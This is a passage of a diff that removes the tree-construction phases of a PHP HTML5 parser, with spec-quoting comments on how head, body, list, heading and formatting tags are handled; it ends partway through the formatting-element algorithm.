HTML5::COMMENT || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF || - ($token['type'] === HTML5::CHARACTR && isset($token['data']) && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) { - /* This specification does not define how to handle this case. In - particular, user agents may ignore the entirety of this specification - altogether for such documents, and instead invoke special parse modes - with a greater emphasis on backwards compatibility. */ - - $this->phase = self::ROOT_PHASE; - return $this->rootElementPhase($token); - - /* A DOCTYPE token marked as being correct */ - } elseif(isset($token['error']) && !$token['error']) { - /* Append a DocumentType node to the Document node, with the name - attribute set to the name given in the DOCTYPE token (which will be - "HTML"), and the other attributes specific to DocumentType objects - set to null, empty lists, or the empty string as appropriate. */ - $doctype = new DOMDocumentType(null, null, 'HTML'); - - /* Then, switch to the root element phase of the tree construction - stage. */ - $this->phase = self::ROOT_PHASE; - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/', - $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - } - } - - private function rootElementPhase($token) - { - /* After the initial phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED - (FF), or U+0020 SPACE - A start tag token - An end tag token - An end-of-file token */ - } elseif(($token['type'] === HTML5::CHARACTR && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF) { - /* Create an HTMLElement node with the tag name html, in the HTML - namespace. Append it to the Document object. Switch to the main - phase and reprocess the current token. */ - $html = $this->dom->createElement('html'); - $this->dom->appendChild($html); - $this->stack[] = $html; - - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - } - } - - private function mainPhase($token) - { - /* Tokens in the main phase must be handled as follows: */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A start tag token with the tag name "html" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { - /* If this start tag token was not the first start tag token, then - it is a parse error. */ - - /* For each attribute on the token, check to see if the attribute - is already present on the top element of the stack of open elements. - If it is not, add the attribute and its corresponding value to that - element. */ - foreach($token['attr'] as $attr) { - if(!$this->stack[0]->hasAttribute($attr['name'])) { - $this->stack[0]->setAttribute($attr['name'], $attr['value']); - } - } - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Anything else. */ - } else { - /* Depends on the insertion mode: */ - switch($this->mode) { - case self::BEFOR_HEAD: return $this->beforeHead($token); break; - case self::IN_HEAD: return $this->inHead($token); break; - case self::AFTER_HEAD: return $this->afterHead($token); break; - case self::IN_BODY: return $this->inBody($token); break; - case self::IN_TABLE: return $this->inTable($token); break; - case self::IN_CAPTION: return $this->inCaption($token); break; - case self::IN_CGROUP: return $this->inColumnGroup($token); break; - case self::IN_TBODY: return $this->inTableBody($token); break; - case self::IN_ROW: return $this->inRow($token); break; - case self::IN_CELL: return $this->inCell($token); break; - case self::IN_SELECT: return $this->inSelect($token); break; - case self::AFTER_BODY: return $this->afterBody($token); break; - case self::IN_FRAME: return $this->inFrameset($token); break; - case self::AFTR_FRAME: return $this->afterFrameset($token); break; - case self::END_PHASE: return $this->trailingEndPhase($token); break; - } - } - } - - private function beforeHead($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "head" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { - /* Create an element for the token, append the new element to the - current node and push it onto the stack of open elements. */ - $element = $this->insertElement($token); - - /* Set the head element pointer to this new element node. */ - $this->head_pointer = $element; - - /* Change the insertion mode to "in head". */ - $this->mode = self::IN_HEAD; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title". Or an end tag with the tag name "html". - Or a character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or any other start tag token */ - } elseif($token['type'] === HTML5::STARTTAG || - ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || - ($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/', - $token['data']))) { - /* Act as if a start tag token with the tag name "head" and no - attributes had been seen, then reprocess the current token. */ - $this->beforeHead(array( - 'name' => 'head', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inHead($token); - - /* Any other end tag */ - } elseif($token['type'] === HTML5::ENDTAG) { - /* Parse error. Ignore the token. */ - } - } - - private function inHead($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. - - THIS DIFFERS FROM THE SPEC: If the current node is either a title, style - or script element, append the character to the current node regardless - of its content. */ - if(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( - $token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName, - array('title', 'style', 'script')))) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('title', 'style', 'script'))) { - array_pop($this->stack); - return HTML5::PCDATA; - - /* A start tag with the tag name "title" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $element = $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the RCDATA state. */ - return HTML5::RCDATA; - - /* A start tag with the tag name "style" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "script" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { - /* Create an element for the token. */ - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "base", "link", or "meta" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta'))) { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - array_pop($this->stack); - - } else { - $this->insertElement($token); - } - - /* An end tag with the tag name "head" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { - /* If the current node is a head element, pop the current node off - the stack of open elements. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - array_pop($this->stack); - - /* Otherwise, this is a parse error. */ - } else { - // k - } - - /* Change the insertion mode to "after head". */ - $this->mode = self::AFTER_HEAD; - - /* A start tag with the tag name "head" or an end tag except "html". */ - } elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || - ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* If the current node is a head element, act as if an end tag - token with the tag name "head" had been seen. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - $this->inHead(array( - 'name' => 'head', - 'type' => HTML5::ENDTAG - )); - - /* Otherwise, change the insertion mode to "after head". */ - } else { - $this->mode = self::AFTER_HEAD; - } - - /* Then, reprocess the current token. */ - return $this->afterHead($token); - } - } - - private function afterHead($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "body" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { - /* Insert a body element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in body". */ - $this->mode = self::IN_BODY; - - /* A start tag token with the tag name "frameset" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { - /* Insert a frameset element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in frameset". */ - $this->mode = self::IN_FRAME; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta', 'script', 'style', 'title'))) { - /* Parse error. Switch the insertion mode back to "in head" and - reprocess the token. */ - $this->mode = self::IN_HEAD; - return $this->inHead($token); - - /* Anything else */ - } else { - /* Act as if a start tag token with the tag name "body" and no - attributes had been seen, and then reprocess the current token. */ - $this->afterHead(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inBody($token); - } - } - - private function inBody($token) - { - /* Handle the token as follows: */ - - switch($token['type']) { - /* A character token */ - case HTML5::CHARACTR: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - break; - - /* A comment token */ - case HTML5::COMMENT: - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - break; - - case HTML5::STARTTAG: - switch($token['name']) { - /* A start tag token whose tag name is one of: "script", - "style" */ - case 'script': case 'style': - /* Process the token as if the insertion mode had been "in - head". */ - return $this->inHead($token); - break; - - /* A start tag token whose tag name is one of: "base", "link", - "meta", "title" */ - case 'base': case 'link': case 'meta': case 'title': - /* Parse error. Process the token as if the insertion mode - had been "in head". */ - return $this->inHead($token); - break; - - /* A start tag token with the tag name "body" */ - case 'body': - /* Parse error. If the second element on the stack of open - elements is not a body element, or, if the stack of open - elements has only one node on it, then ignore the token. - (innerHTML case) */ - if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { - // Ignore - - /* Otherwise, for each attribute on the token, check to see - if the attribute is already present on the body element (the - second element) on the stack of open elements. If it is not, - add the attribute and its corresponding value to that - element. */ - } else { - foreach($token['attr'] as $attr) { - if(!$this->stack[1]->hasAttribute($attr['name'])) { - $this->stack[1]->setAttribute($attr['name'], $attr['value']); - } - } - } - break; - - /* A start tag whose tag name is one of: "address", - "blockquote", "center", "dir", "div", "dl", "fieldset", - "listing", "menu", "ol", "p", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'p': case 'ul': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "form" */ - case 'form': - /* If the form element pointer is not null, ignore the - token with a parse error. */ - if($this->form_pointer !== null) { - // Ignore. - - /* Otherwise: */ - } else { - /* If the stack of open elements has a p element in - scope, then act as if an end tag with the tag name p - had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token, and set the - form element pointer to point to the element created. */ - $element = $this->insertElement($token); - $this->form_pointer = $element; - } - break; - - /* A start tag whose tag name is "li", "dd" or "dt" */ - case 'li': case 'dd': case 'dt': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - $stack_length = count($this->stack) - 1; - - for($n = $stack_length; 0 <= $n; $n--) { - /* 1. Initialise node to be the current node (the - bottommost node of the stack). */ - $stop = false; - $node = $this->stack[$n]; - $cat = $this->getElementCategory($node->tagName); - - /* 2. If node is an li, dd or dt element, then pop all - the nodes from the current node up to node, including - node, then stop this algorithm. */ - if($token['name'] === $node->tagName || ($token['name'] !== 'li' - && ($node->tagName === 'dd' || $node->tagName === 'dt'))) { - for($x = $stack_length; $x >= $n ; $x--) { - array_pop($this->stack); - } - - break; - } - - /* 3. If node is not in the formatting category, and is - not in the phrasing category, and is not an address or - div element, then stop this algorithm. */ - if($cat !== self::FORMATTING && $cat !== self::PHRASING && - $node->tagName !== 'address' && $node->tagName !== 'div') { - break; - } - } - - /* Finally, insert an HTML element with the same tag - name as the token's. */ - $this->insertElement($token); - break; - - /* A start tag token whose tag name is "plaintext" */ - case 'plaintext': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - return HTML5::PLAINTEXT; - break; - - /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - this is a parse error; pop elements from the stack until an - element with one of those tag names has been popped from the - stack. */ - while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { - array_pop($this->stack); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "a" */ - case 'a': - /* If the list of active formatting elements contains - an element whose tag name is "a" between the end of the - list and the last marker on the list (or the start of - the list if there is no marker on the list), then this - is a parse error; act as if an end tag with the tag name - "a" had been seen, then remove that element from the list - of active formatting elements and the stack of open - elements if the end tag didn't already remove it (it - might not have if the element is not in table scope). */ - $leng = count($this->a_formatting); - - for($n = $leng - 1; $n >= 0; $n--) { - if($this->a_formatting[$n] === self::MARKER) { - break; - - } elseif($this->a_formatting[$n]->nodeName === 'a') { - $this->emitToken(array( - 'name' => 'a', - 'type' => HTML5::ENDTAG - )); - break; - } - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag whose tag name is one of: "b", "big", "em", "font", - "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'b': case 'big': case 'em': case 'font': case 'i': - case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag token whose tag name is "button" */ - case 'button': - /* If the stack of open elements has a button element in scope, - then this is a parse error; act as if an end tag with the tag - name "button" had been seen, then reprocess the token. (We don't - do that. Unnecessary.) */ - if($this->elementInScope('button')) { - $this->inBody(array( - 'name' => 'button', - 'type' => HTML5::ENDTAG - )); - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is one of: "marquee", "object" */ - case 'marquee': case 'object': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is "xmp" */ - case 'xmp': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Switch the content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "table" */ - case 'table': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - break; - - /* A start tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'img': case 'param': case 'spacer': - case 'wbr': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "hr" */ - case 'hr': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "image" */ - case 'image': - /* Parse error. Change the token's tag name to "img" and - reprocess it. (Don't ask.) */ - $token['name'] = 'img'; - return $this->inBody($token); - break; - - /* A start tag whose tag name is "input" */ - case 'input': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an input element for the token. */ - $element = $this->insertElement($token, false); - - /* If the form element pointer is not null, then associate the - input element with the form element pointed to by the form - element pointer. */ - $this->form_pointer !== null - ? $this->form_pointer->appendChild($element) - : end($this->stack)->appendChild($element); - - /* Pop that input element off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "isindex" */ - case 'isindex': - /* Parse error. */ - // w/e - - /* If the form element pointer is not null, - then ignore the token. */ - if($this->form_pointer === null) { - /* Act as if a start tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a stream of character tokens had been seen. */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if a start tag token with the tag name "input" - had been seen, with all the attributes from the "isindex" - token, except with the "name" attribute set to the value - "isindex" (ignoring any explicit "name" attribute). */ - $attr = $token['attr']; - $attr[] = array('name' => 'name', 'value' => 'isindex'); - - $this->inBody(array( - 'name' => 'input', - 'type' => HTML5::STARTTAG, - 'attr' => $attr - )); - - /* Act as if a stream of character tokens had been seen - (see below for what they should say). */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if an end tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'form', - 'type' => HTML5::ENDTAG - )); - } - break; - - /* A start tag whose tag name is "textarea" */ - case 'textarea': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the - RCDATA state. */ - return HTML5::RCDATA; - break; - - /* A start tag whose tag name is one of: "iframe", "noembed", - "noframes" */ - case 'iframe': case 'noembed': case 'noframes': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "select" */ - case 'select': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in select". */ - $this->mode = self::IN_SELECT; - break; - - /* A start or end tag whose tag name is one of: "caption", "col", - "colgroup", "frame", "frameset", "head", "option", "optgroup", - "tbody", "td", "tfoot", "th", "thead", "tr". */ - case 'caption': case 'col': case 'colgroup': case 'frame': - case 'frameset': case 'head': case 'option': case 'optgroup': - case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead': - case 'tr': - // Parse error. Ignore the token. - break; - - /* A start or end tag whose tag name is one of: "event-source", - "section", "nav", "article", "aside", "header", "footer", - "datagrid", "command" */ - case 'event-source': case 'section': case 'nav': case 'article': - case 'aside': case 'header': case 'footer': case 'datagrid': - case 'command': - // Work in progress! - break; - - /* A start tag token not covered by the previous entries */ - default: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - $this->insertElement($token); - break; - } - break; - - case HTML5::ENDTAG: - switch($token['name']) { - /* An end tag with the tag name "body" */ - case 'body': - /* If the second element in the stack of open elements is - not a body element, this is a parse error. Ignore the token. - (innerHTML case) */ - if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { - // Ignore. - - /* If the current node is not the body element, then this - is a parse error. */ - } elseif(end($this->stack)->nodeName !== 'body') { - // Parse error. - } - - /* Change the insertion mode to "after body". */ - $this->mode = self::AFTER_BODY; - break; - - /* An end tag with the tag name "html" */ - case 'html': - /* Act as if an end tag with tag name "body" had been seen, - then, if that token wasn't ignored, reprocess the current - token. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::ENDTAG - )); - - return $this->afterBody($token); - break; - - /* An end tag whose tag name is one of: "address", "blockquote", - "center", "dir", "div", "dl", "fieldset", "listing", "menu", - "ol", "pre", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'pre': case 'ul': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with - the same tag name as that of the token, then this - is a parse error. */ - // w/e - - /* If the stack of open elements has an element in - scope with the same tag name as that of the token, - then pop elements from this stack until an element - with that tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is "form" */ - case 'form': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - } - - if(end($this->stack)->nodeName !== $token['name']) { - /* Now, if the current node is not an element with the - same tag name as that of the token, then this is a parse - error. */ - // w/e - - } else { - /* Otherwise, if the current node is an element with - the same tag name as that of the token pop that element - from the stack. */ - array_pop($this->stack); - } - - /* In any case, set the form element pointer to null. */ - $this->form_pointer = null; - break; - - /* An end tag whose tag name is "p" */ - case 'p': - /* If the stack of open elements has a p element in scope, - then generate implied end tags, except for p elements. */ - if($this->elementInScope('p')) { - $this->generateImpliedEndTags(array('p')); - - /* If the current node is not a p element, then this is - a parse error. */ - // k - - /* If the stack of open elements has a p element in - scope, then pop elements from this stack until the stack - no longer has a p element in scope. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->elementInScope('p')) { - array_pop($this->stack); - - } else { - break; - } - } - } - break; - - /* An end tag whose tag name is "dd", "dt", or "li" */ - case 'dd': case 'dt': case 'li': - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - generate implied end tags, except for elements with the - same tag name as the token. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(array($token['name'])); - - /* If the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - pop elements from this stack until an element with that - tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - generate implied end tags. */ - if($this->elementInScope($elements)) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as that of the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has in scope an element - whose tag name is one of "h1", "h2", "h3", "h4", "h5", or - "h6", then pop elements from the stack until an element - with one of those tag names has been popped from the stack. */ - while($this->elementInScope($elements)) { - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "a", "b", "big", "em", - "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'a': case 'b': case 'big': case 'em': case 'font': - case 'i': case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* 1. Let the formatting element be the last element in - the list of active formatting elements that: - * is between the end of the list and the last scope - marker in the list, if any, or the start of the list - otherwise, and - * has the same tag name as the token. - */ - while(true) { - for($a = count($this->a_formatting) - 1; $a >= 0; $a--) { - if($this->a_formatting[$a] === self::MARKER) { - break; - - } elseif($this->a_formatting[$a]->tagName === $token['name']) { - $formatting_element = $this->a_formatting[$a]; - $in_stack = in_array($formatting_element, $this->stack, true); - $fe_af_pos = $a; - break; - } - } - - /* If there is no such node, or, if that node is - also in the stack of open elements but the element - is not in scope, then this is a parse error. Abort - these steps. The token is ignored. */ - if(!isset($formatting_element) || ($in_stack && - !$this->elementInScope($token['name']))) { - break; - - /* Otherwise, if there is such a node, but that node - is not in the stack of open elements, then this is a - parse error; remove the element from the list, and - abort these steps. */ - } elseif(isset($formatting_element) && !$in_stack) { - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 2. Let the furthest block be the topmost node in the - stack of open elements that is lower in the stack - than the formatting element, and is not an element in - the phrasing or formatting categories. There might - not be one. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $length = count($this->stack); - - for($s = $fe_s_pos + 1; $s < $length; $s++) { - $category = $this->getElementCategory($this->stack[$s]->nodeName); - - if($category !== self::PHRASING && $category !== self::FORMATTING) { - $furthest_block = $this->stack[$s]; - } - } - - /* 3. If there is no furthest block, then the UA must - skip the subsequent steps and instead just pop all - the nodes from the bottom of the stack of open - elements, from the current node up to the formatting - element, and remove the formatting element from the - list of active formatting elements. */ - if(!isset($furthest_block)) { - for($n = $length - 1; $n >= $fe_s_pos; $n--) { - array_pop($this->stack); - } - - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 4. Let the common ancestor be the element - immediately above the formatting element in the stack - of open elements. */ - $common_ancestor = $this->stack[$fe_s_pos - 1]; - - /* 5. If the furthest block has a parent node, then - remove the furthest block from its parent node. */ - if($furthest_block->parentNode !== null) { - 